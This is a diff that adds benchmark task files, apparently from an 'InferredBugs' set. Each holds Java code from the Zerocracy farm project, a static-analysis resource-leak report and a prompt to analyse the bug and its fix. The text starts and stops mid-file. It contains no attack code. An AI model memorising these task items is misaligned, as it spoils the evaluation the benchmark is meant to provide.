+        try (final Item item = this.item()) {
+            return new HashSet<>(
+                new ListOf<>(
+                    new Xocument(item.path()).xpath(
+                        String.format(
+                            "/catalog/project[@id = '%s']/languages/text()",
+                            pid
+                        )
+                    ).iterator().next().split(",")
+                )
+            );
+        }
+    }
+
+    /**
+     * Change project language stack.
+     * @param pid Project id
+     * @param langs New laguages
+     * @throws IOException If fails
+     */
+    public void languages(final String pid, final Set<String> langs)
+        throws IOException {
+        this.checkExist(pid);
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath(String.format("/catalog/project[@id =  '%s']", pid))
+                    .strict(1)
+                    .addIf("languages")
+                    .set(String.join(",", langs))
+            );
+        }
+    }
+
+    /**
+     * Project exists?
+     * @param pid Project ID
+     * @return TRUE if it exists
+     * @throws IOException If fails
+     */
+    public boolean exists(final String pid) throws IOException {
+        try (final Item item = this.item()) {
+            return !new Xocument(item).nodes(
+                String.format("//project[@id  ='%s']", pid)
+            ).isEmpty();
+        }
+    }
+
+    /**
+     * Find a project by XPath query.
+     * @param xpath XPath query
+     * @return Prefixes found, if found
+     * @throws IOException If fails
+     */
+    public Collection<String> findByXPath(final String xpath)
+        throws IOException {
+        String term = xpath;
+        if (!term.isEmpty()) {
+            term = String.format("[%s]", term);
+        }
+        try (final Item item = this.item()) {
+            return new Xocument(item).xpath(
+                String.format("//project%s/prefix/text()", term)
+            );
+        }
+    }
+
+    /**
+     * Is it on pause?
+     * @param pid Project ID
+     * @return TRUE if on pause
+     * @throws IOException If fails
+     */
+    public boolean pause(final String pid) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par("Project %s doesn't exist").say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            return !Boolean.parseBoolean(
+                new Xocument(item.path()).xpath(
+                    String.format(
+                        "/catalog/project[@id='%s']/alive/text()",
+                        pid
+                    )
+                ).get(0)
+            );
+        }
+    }
+
+    /**
+     * Set it on pause.
+     * @param pid Project ID
+     * @param pause TRUE if it has to go on pause
+     * @throws IOException If fails
+     */
+    public void pause(final String pid,
+        final boolean pause) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par("Project %s doesn't exist, can't pause").say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives().xpath(
+                    String.format("/catalog/project[@id='%s']/alive", pid)
+                ).strict(1).set(!pause)
+            );
+        }
+    }
+
+    /**
+     * Get project fee or Zero.
+     * @param pid Project ID
+     * @return Per transaction fee
+     * @throws IOException If fails
+     */
+    public Cash fee(final String pid) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't get fee"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            final Iterator<String> fees = new Xocument(item.path()).xpath(
+                String.format("/catalog/project[@id='%s']/fee/text()", pid)
+            ).iterator();
+            final Cash fee;
+            if (fees.hasNext()) {
+                fee = new Cash.S(fees.next());
+            } else {
+                fee = Cash.ZERO;
+            }
+            return fee;
+        }
+    }
+
+    /**
+     * Set project fee.
+     * @param pid Project ID
+     * @param fee Fee to set
+     * @throws IOException If fails
+     */
+    public void fee(final String pid, final Cash fee) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't set fee"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives().xpath(
+                    String.format("/catalog/project[@id='%s']/fee", pid)
+                ).strict(1).set(fee)
+            );
+        }
+    }
+
+    /**
+     * Publish or unpublish this project.
+     * @param pid Project ID
+     * @param status Publication success to set
+     * @throws IOException If fails
+     */
+    public void publish(final String pid, final boolean status)
+        throws IOException {
+        if (this.links(pid, "github").isEmpty()) {
+            throw new SoftException(
+                new Par(
+                    "Project %s is not linked to any GitHub repositories,",
+                    "it can't be published on the board, see §26"
+                ).say(pid)
+            );
+        }
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't publish, see §26"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives().xpath(
+                    String.format("/catalog/project[@id='%s']/publish", pid)
+                ).strict(1).set(Boolean.toString(status))
+            );
+        }
+    }
+
+    /**
+     * This project is published?
+     * @param pid Project ID
+     * @return TRUE if published
+     * @throws IOException If fails
+     */
+    public boolean published(final String pid) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project \"%s\" doesn't exist, can't check publish"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            return Boolean.parseBoolean(
+                new Xocument(item).xpath(
+                    String.format(
+                        "/catalog/project[@id='%s']/publish/text()",
+                        pid
+                    )
+                ).get(0)
+            );
+        }
+    }
+
+    /**
+     * Add a link to the pmo.
+     * @param pid Project ID
+     * @param rel REL
+     * @param href HREF
+     * @throws IOException If fails
+     */
+    public void link(final String pid, final String rel, final String href)
+        throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't add link"
+                ).say(pid)
+            );
+        }
+        if (this.hasLink(pid, rel, href)) {
+            throw new SoftException(
+                new Par(
+                    "Project %s already has link, rel=`%s`, href=`%s`"
+                ).say(pid, rel, href)
+            );
+        }
+        if (this.linkExists(rel, href)) {
+            throw new SoftException(
+                new Par(
+                    "Some other project already has `%s/%s` link"
+                ).say(rel, href)
+            );
+        }
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath(String.format("/catalog/project[@id='%s']", pid))
+                    .strict(1)
+                    .addIf("links")
+                    .add("link")
+                    .attr("rel", rel)
+                    .attr("href", href)
+            );
+        }
+    }
+
+    /**
+     * Remove a link from the pmo.
+     * @param pid Project ID
+     * @param rel REL
+     * @param href HREF
+     * @throws IOException If fails
+     */
+    public void unlink(final String pid, final String rel, final String href)
+        throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't unlink"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath(String.format("/catalog/project[@id=  '%s']", pid))
+                    .strict(1)
+                    .xpath(
+                        String.format(
+                            "links/link[@rel='%s' and @href='%s']",
+                            rel, href
+                        )
+                    )
+                    .strict(1)
+                    .remove()
+            );
+        }
+    }
+
+    /**
+     * Get all project links.
+     * @param pid Project ID
+     * @return Links found
+     * @throws IOException If fails
+     */
+    public Collection<String> links(final String pid) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't get links"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            return new SolidList<>(
+                new Mapped<>(
+                    xml -> String.format(
+                        "%s:%s",
+                        xml.xpath("@rel").get(0),
+                        xml.xpath("@href").get(0)
+                    ),
+                    new Xocument(item).nodes(
+                        String.format(
+                            "/catalog/project[@id='%s']/links/link",
+                            pid
+                        )
+                    )
+                )
+            );
+        }
+    }
+
+    /**
+     * Get project links by REL.
+     * @param pid Project ID
+     * @param rel REL to look for
+     * @return Links found
+     * @throws IOException If fails
+     */
+    public Collection<String> links(final String pid, final String rel)
+        throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't get links"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            return new Xocument(item).xpath(
+                String.format(
+                    "/catalog/project[@id='%s']/links/link[@rel='%s']/@href",
+                    pid, rel
+                )
+            );
+        }
+    }
+
+    /**
+     * Project has this link?
+     * @param pid Project ID
+     * @param rel REL
+     * @param href HREF
+     * @return TRUE if it has a link
+     * @throws IOException If fails
+     */
+    public boolean hasLink(final String pid, final String rel,
+        final String href) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't check link"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            return !new Xocument(item.path()).nodes(
+                String.format(
+                    // @checkstyle LineLength (1 line)
+                    "/catalog/project[@id='%s' and links/link[@rel='%s' and @href='%s']]",
+                    pid, rel, href
+                )
+            ).isEmpty();
+        }
+    }
+
+    /**
+     * This link exists in any project?
+     * @param rel REL
+     * @param href HREF
+     * @return TRUE if it exists already
+     * @throws IOException If fails
+     */
+    public boolean linkExists(final String rel, final String href)
+        throws IOException {
+        try (final Item item = this.item()) {
+            return !new Xocument(item.path()).nodes(
+                String.format(
+                    "/catalog/project/links/link[@rel='%s' and @href='%s']",
+                    rel, href
+                )
+            ).isEmpty();
+        }
+    }
+
+    /**
+     * Change project title.
+     * @param pid Project id
+     * @param title New title
+     * @throws IOException If fails
+     */
+    public void title(final String pid, final String title)
+        throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't change title"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives()
+                    .xpath(String.format("/catalog/project[@id =  '%s']", pid))
+                    .strict(1)
+                    .addIf(Catalog.PRJ_TITLE)
+                    .set(title)
+            );
+        }
+    }
+
+    /**
+     * Project title.
+     * @param pid Project id
+     * @return Title string
+     * @throws IOException If fails
+     */
+    public String title(final String pid) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't get title"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            final Iterator<String> items = new Xocument(item.path())
+                .xpath(
+                    String.format(
+                        "/catalog/project[@id = '%s']/title/text()",
+                        pid
+                    )
+                ).iterator();
+            String title = pid;
+            if (items.hasNext()) {
+                title = items.next();
+            }
+            return title;
+        }
+    }
+
+    /**
+     * Has project adviser.
+     *
+     * @param pid Project id
+     * @return True if has
+     * @throws IOException If fails
+     */
+    public boolean hasAdviser(final String pid) throws IOException {
+        try (final Item item = this.item()) {
+            final List<String> xpath = new Xocument(item.path()).xpath(
+                String.format(
+                    "/catalog/project[@id = '%s']/adviser/text()",
+                    pid
+                )
+            );
+            return !xpath.isEmpty() && !"0crat".equals(xpath.get(0));
+        }
+    }
+
+    /**
+     * Project adviser.
+     * @param pid Project id
+     * @return Adviser id
+     * @throws IOException If fails
+     */
+    public String adviser(final String pid) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't get adviser"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            return new Xocument(item.path()).xpath(
+                String.format(
+                    "/catalog/project[@id = '%s']/adviser/text()",
+                    pid
+                )
+            ).get(0);
+        }
+    }
+
+    /**
+     * Change project's adviser.
+     * @param pid Project id
+     * @param adviser Adviser id
+     * @throws IOException If fails
+     */
+    public void adviser(final String pid, final String adviser)
+        throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist, can't get adviser"
+                ).say(pid)
+            );
+        }
+        try (final Item item = this.item()) {
+            new Xocument(item.path()).modify(
+                new Directives().xpath(
+                    String.format(
+                        "/catalog/project[@id = '%s']",
+                        pid
+                    )
+                ).addIf("adviser").set(adviser)
+            );
+        }
+    }
+
+    /**
+     * Active project IDs.
+     * @return Set of project IDs
+     * @throws IOException If fails
+     */
+    public Set<String> active() throws IOException {
+        try (final Item item = this.item()) {
+            return new HashSet<>(
+                new Xocument(item).xpath(
+                    "/catalog/project[alive = 'true']/@id"
+                )
+            );
+        }
+    }
+
+    /**
+     * Check project exists, or throw exception.
+     * @param pid Project id
+     * @throws IOException If not exist
+     */
+    private void checkExist(final String pid) throws IOException {
+        if (!this.exists(pid)) {
+            throw new IllegalArgumentException(
+                new Par(
+                    "Project %s doesn't exist"
+                ).say(pid)
+            );
+        }
+    }
+
+    /**
+     * The item.
+     * @return Item
+     * @throws IOException If fails
+     */
+    private Item item() throws IOException {
+        return this.pmo.acq("catalog.xml");
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.farm.fake.FkFarm` acquired by call to `Par(...)` at line 755 is not released after line 758.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Collection Catalog.links(String,String)
+
+### Procedure Id:
+com.zerocracy.pmo.Catalog.links(java.lang.String,java.lang.String):java.util.Collection.6dc52259418d23aec0cc5594ea41d495
+
+### File:
+src/main/java/com/zerocracy/pmo/Catalog.java
+
+### Key:
+Catalog.java|links|RESOURCE_LEAK
+
+### Node Key:
+da4621e3cd0bc306162ff2464b4e3806
+
+### Hash:
+c0d5973df849b6e56ef8f395b8413144
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3111/instruction.md b/inferredbugs-3111/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b75dc1991a5d42cd1d468876f0401367b35e4392
--- /dev/null
+++ b/inferredbugs-3111/instruction.md
@@ -0,0 +1,211 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 52
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) 2016-2018 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.farm;
+
+import com.jcabi.xml.XML;
+import com.zerocracy.Farm;
+import com.zerocracy.Project;
+import com.zerocracy.SoftException;
+import com.zerocracy.Stakeholder;
+import com.zerocracy.farm.fake.FkProject;
+import com.zerocracy.farm.props.PropsFarm;
+import com.zerocracy.pm.ClaimOut;
+import com.zerocracy.pm.Claims;
+import java.io.IOException;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.Test;
+import org.mockito.Mockito;
+import org.xembly.Directives;
+
+/**
+ * Test case for {@link StkSafe}.
+ * @author Yegor Bugayenko (yegor256@gmail.com)
+ * @version $Id$
+ * @since 0.17
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+public final class StkSafeTest {
+
+    @Test
+    public void catchesSoftException() throws Exception {
+        final Stakeholder stk = Mockito.mock(Stakeholder.class);
+        final Project project = new FkProject();
+        new ClaimOut().type("hello you").postTo(project);
+        final XML claim = new Claims(project).iterate().iterator().next();
+        Mockito.doThrow(new SoftException("")).when(stk).process(
+            project, claim
+        );
+        new StkSafe("hello", new PropsFarm(), stk).process(project, claim);
+    }
+
+    @Test
+    public void dontRepostNotifyFailures() throws Exception {
+        final Project project = new FkProject();
+        new ClaimOut()
+            .type("Notify GitHub")
+            .token("github;test/test#1")
+            .postTo(project);
+        final XML claim = new Claims(project).iterate().iterator().next();
+        new StkSafe(
+            "hello1",
+            new StkSafeTest.NonTestingFarm(),
+            new StkSafeTest.StkError()
+        ).process(project, claim);
+        MatcherAssert.assertThat(
+            new Claims(project).iterate(),
+            Matchers.iterableWithSize(2)
+        );
+    }
+
+    @Test
+    public void dontRepeatErrorClaims() throws Exception {
+        final FkProject project = new FkProject();
+        new ClaimOut().type("Error").postTo(project);
+        final XML claim = new Claims(project).iterate().iterator().next();
+        new StkSafe(
+            "errors1",
+            new StkSafeTest.NonTestingFarm(),
+            new StkSafeTest.StkError()
+        ).process(project, claim);
+        MatcherAssert.assertThat(
+            new Claims(project).iterate(),
+            Matchers.iterableWithSize(1)
+        );
+    }
+
+    /**
+     * Always failing stakeholder.
+     */
+    private static final class StkError implements Stakeholder {
+        @Override
+        public void process(final Project project, final XML claim) {
+            throw new IllegalStateException("error");
+        }
+    }
+
+    /**
+     * Props farm without testing flag.
+     */
+    private static class NonTestingFarm implements Farm {
+
+        /**
+         * Farm.
+         */
+        private final Farm frm;
+
+        /**
+         * Ctor.
+         */
+        NonTestingFarm() {
+            this(
+                new PropsFarm(
+                    new Directives().xpath("/props/testing").remove()
+                )
+            );
+        }
+
+        /**
+         * Ctor.
+         *
+         * @param farm Farm
+         */
+        private NonTestingFarm(final Farm farm) {
+            this.frm = farm;
+        }
+
+        @Override
+        public Iterable<Project> find(final String xpath) throws IOException {
+            return this.frm.find(xpath);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.farm.StkSafeTest$NonTestingFarm` acquired by call to `StkSafeTest$NonTestingFarm()` at line 81 is not released after line 85.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void StkSafeTest.dontRepeatErrorClaims()
+
+### Procedure Id:
+com.zerocracy.farm.StkSafeTest.dontRepeatErrorClaims():void.ecd989fce078ffb53f3fc8229e3b3d8c
+
+### File:
+src/test/java/com/zerocracy/farm/StkSafeTest.java
+
+### Key:
+StkSafeTest.java|dontRepeatErrorClaims|RESOURCE_LEAK
+
+### Node Key:
+adef85397a00a7d56882c5875d973640
+
+### Hash:
+d13a901c7aa2ccd28c4bb5c81ef5567d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3118/instruction.md b/inferredbugs-3118/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4d4b6815598bb091c36e037253a69782d96b335e
--- /dev/null
+++ b/inferredbugs-3118/instruction.md
@@ -0,0 +1,183 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 63
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2018 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.tk;
+
+import com.jcabi.http.request.JdkRequest;
+import com.jcabi.http.response.RestResponse;
+import com.jcabi.http.response.XmlResponse;
+import com.jcabi.matchers.XhtmlMatchers;
+import com.zerocracy.farm.fake.FkFarm;
+import com.zerocracy.farm.props.PropsFarm;
+import java.net.HttpURLConnection;
+import org.cactoos.text.TextOf;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.core.StringContains;
+import org.junit.Test;
+import org.takes.Take;
+import org.takes.http.FtRemote;
+import org.takes.rq.RqFake;
+import org.takes.rq.RqWithHeader;
+import org.takes.rs.RsPrint;
+
+/**
+ * Test case for {@link TkApp}.
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+@SuppressWarnings("PMD.AvoidDuplicateLiterals")
+public final class TkAppTest {
+
+    @Test
+    public void rendersHomePage() throws Exception {
+        final Take take = new TkApp(new PropsFarm(new FkFarm()));
+        MatcherAssert.assertThat(
+            XhtmlMatchers.xhtml(
+                new RsPrint(
+                    take.act(
+                        new RqWithHeader(
+                            new RqFake("GET", "/"),
+                            "Accept",
+                            "text/html"
+                        )
+                    )
+                ).printBody()
+            ),
+            XhtmlMatchers.hasXPaths(
+                "/xhtml:html",
+                "//xhtml:body"
+            )
+        );
+    }
+
+    @Test
+    public void rendersHomePageViaHttp() throws Exception {
+        final Take app = new TkApp(new PropsFarm(new FkFarm()));
+        new FtRemote(app).exec(
+            home -> new JdkRequest(home)
+                .fetch()
+                .as(RestResponse.class)
+                .assertStatus(HttpURLConnection.HTTP_OK)
+                .as(XmlResponse.class)
+                .assertXPath("/xhtml:html/xhtml:body")
+        );
+    }
+
+    // @todo #512:30min 0crat is displaying an error page when trying to use
+    //  PsByFlag=PsGithub parameter. This test is triggering this behavior.
+    //  Find what is causing it and fix it so this exception screen is not
+    //  displayed anymore and fix the test below negating
+    //  new StringContains(message) occurences in matchers.
+    @Test
+    public void redirectOnError() throws Exception {
+        final Take take = new TkApp(new PropsFarm(new FkFarm()));
+        final String message = "Internal application error";
+        MatcherAssert.assertThat(
+            "Could not redirect on error",
+            new TextOf(
+                take.act(new RqFake("GET", "/?PsByFlag=PsGithub")).body()
+            ).asString(),
+            new StringContains(message)
+        );
+        MatcherAssert.assertThat(
+            "Could not redirect on error (with code)",
+            new TextOf(
+                take.act(
+                    new RqFake(
+                        "GET",
+                        "/?PsByFlag=PsGithub&code=1257b773ba07221e7eb5"
+                    )
+                ).body()
+            ).asString(),
+            new StringContains(message)
+        );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.farm.fake.FkFarm` acquired by call to `FkFarm()` at line 87 is not released after line 87.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TkAppTest.redirectOnError()
+
+### Procedure Id:
+com.zerocracy.tk.TkAppTest.redirectOnError():void.989f4a7227a975bc342f76c8035f2946
+
+### File:
+src/test/java/com/zerocracy/tk/TkAppTest.java
+
+### Key:
+TkAppTest.java|redirectOnError|RESOURCE_LEAK
+
+### Node Key:
+983bf18f04304daccb5873b8de973dd8
+
+### Hash:
+52be33f275c5fd1e5640acecb75498f7
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3119/instruction.md b/inferredbugs-3119/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b3f080a2762b159e540fdea50d22973c0cce8a6b
--- /dev/null
+++ b/inferredbugs-3119/instruction.md
@@ -0,0 +1,118 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 130
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2019 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.tk;
+
+import com.jcabi.matchers.XhtmlMatchers;
+import com.zerocracy.Farm;
+import com.zerocracy.FkFarm;
+import com.zerocracy.farm.footprint.FtFarm;
+import com.zerocracy.farm.props.PropsFarm;
+import org.hamcrest.MatcherAssert;
+import org.junit.Test;
+
+/**
+ * Test case for {@link TkIndex}.
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+public final class TkIndexTest {
+
+    @Test
+    public void rendersIndexPage() throws Exception {
+        final Farm farm = new FtFarm(new PropsFarm(new FkFarm()));
+        MatcherAssert.assertThat(
+            XhtmlMatchers.xhtml(new View(farm, "/").xml()),
+            XhtmlMatchers.hasXPaths("/page/alive")
+        );
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.FkFarm` acquired by call to `FkFarm()` at line 37 is not released after line 39.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TkIndexTest.rendersIndexPage()
+
+### Procedure Id:
+com.zerocracy.tk.TkIndexTest.rendersIndexPage():void.741b4c07421e7f63a515fe79e1fa7bf5
+
+### File:
+src/test/java/com/zerocracy/tk/TkIndexTest.java
+
+### Key:
+TkIndexTest.java|rendersIndexPage|RESOURCE_LEAK
+
+### Node Key:
+5d3c6d99ff5b41e64b77061cdef5ab41
+
+### Hash:
+5940fbe1908c8c0672805b7056672c19
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3120/instruction.md b/inferredbugs-3120/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b9a3edb00d1880aa84849385e41827b9fa7aa18a
--- /dev/null
+++ b/inferredbugs-3120/instruction.md
@@ -0,0 +1,240 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 64
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2018 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
